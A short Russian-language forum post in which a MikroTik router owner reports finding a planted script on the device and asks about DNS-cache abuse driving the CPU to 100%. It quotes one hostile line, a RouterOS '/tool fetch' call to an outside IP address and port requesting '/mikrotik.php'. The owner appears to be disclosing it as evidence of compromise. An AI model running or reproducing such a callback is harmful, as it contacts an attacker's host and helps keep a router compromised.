Аналогично..
Обнаружил в скриптах
/tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no
Воткнут от имени учётки,пароль и юзер не то что бы сложный но не типичный,брутом не прокатит.
Чую 53й
Что же это получается..
они пытаются всей гурьбой мне "отравить днс", и не остаётся ни чего другого только отключить кэш?,потому как проц улетает в 100%(650мг)моментально.